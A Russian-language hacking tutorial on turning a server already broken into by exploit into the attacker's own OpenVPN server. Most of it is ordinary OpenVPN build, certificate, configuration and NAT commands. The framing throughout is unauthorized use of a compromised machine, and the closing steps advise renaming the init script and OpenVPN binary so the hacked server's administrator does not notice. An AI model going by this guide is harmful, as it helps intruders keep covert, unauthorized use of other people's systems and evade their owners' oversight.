Задача интересная и в принципе ничем не
отличается от установки OpenVPN на отдельный сервер, но все же
мы ее рассмотрим. Итак, сплоит сработал, whoami показывает root,
и встает вопрос: что же делать дальше 🙂 ?. Хорошим выбором
будет установка собственного VPN-сервера.
1.
Для начала узнаем о поддержке модуля tun
modprobe tap
lsmod | grep tap
2. Если все хорошо, то приступаем
непосредственно к установке OpenVPN. Для начала стоит проверить
наличие библиотеки lzo, она используется для компрессии трафика.
locate lzo.so
3. Если он не установлен, то им можно и
пренебречь, в таком случае трафик сжиматься не будет. Если же ты
все-таки хочешь сжатие, можешь поставить либу из исходных кодов.
Скачиваем последнюю версию (ссылку не привожу, так как версии
часто меняются) и устанавливаем так же как и все другие
программы на linux.
tar xzvf lzo.tgz
cd lzo
./configure
make
make install
4. Итак, lzo установлено, теперь скачиваем
последнюю версию openvpn и устанавливаем подобно lzo:
tar xzvf vpn.tgz
cd vbb
./configure
make
make install
5. Сервер установлен. Теперь нужно
сгенерировать все ключи и сертификаты для его работы. Переходим
в папку /etc/openvpn/, из папки с исходными кодами openvpn нужно
скопировать сюда подпапки easy-rsa и sample-config-files
Переходим в папку /etc/openvpn/easy-rsa и выполняем:
. ./vars (загружаем переменные в оболочку)
./clean-all (отчищаем от старых сертификатов и ключей папку keys
)
./build-ca (Создаем сертификат для сервера)
./build-key-server server (Создаем сертификат X.509 для сервера)
./build-key-pkcs12 client (Создаем сертификат X.509 для клиента)
При генерации ключей будет спрашиваться Common name для
клиента и сервера. Для клиента вписывай client, для сервера
server.
6. Сертификаты и ключи созданы, теперь
сгенерируем ключ Деффи Хельман
./build-dh
7. Все ключи и сертификаты сгенерированы,
теперь создадим файл конфигурации.
touch /etc/openvpn/server.conf
И вносим в файл следующие изменения
port 443
proto tcp
dev tap
cipher DES-EDE3-CBC
reneg-sec 60
ca /etc/openvpn/easy-rsa/keys/ca.crt
cert /etc/openvpn/easy-rsa/keys/server.crt
key /etc/openvpn/easy-rsa/keys/server.key
dh /etc/openvpn/easy-rsa/keys/dh2048.pem
server 10.10.200.0 255.255.255.0
client-config-dir ccd
push "dhcp-option DNS 222.222.222.222"
push "dhcp-option DNS 22.22.222.222"
push "redirect-gateway"
keepalive 10 120
persist-key
persist-tun
comp-lzo
verb 0
8. Включаем ip-форвадинг и вносим изменения
в iptables:
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 10.10.200.0/24 -j SNAT --to
127.0.0.1
127.0.0.1 нужно поменять на ip сервера, куда установлен VPN
9. Из папки с исходниками vpn/sample-scripts
файл openvpn.init переименовываем во что-то неброское (к
примеру, init) и копируем в /etc/init.d/
Далее запускаем сервер:
/etc/init.d/init start
10. Сервер работает, теперь необходимо
настроить клиент. Настройку для различных ОС ты можешь найти в
Сети, ибо это тема отдельной статьи :). Советую предварительно
поменять имя приложения OpenVPN также на что-либо неброское,
чтобы администратор взломанного сервера не определил, что на его
машине крутятся посторонние вещи.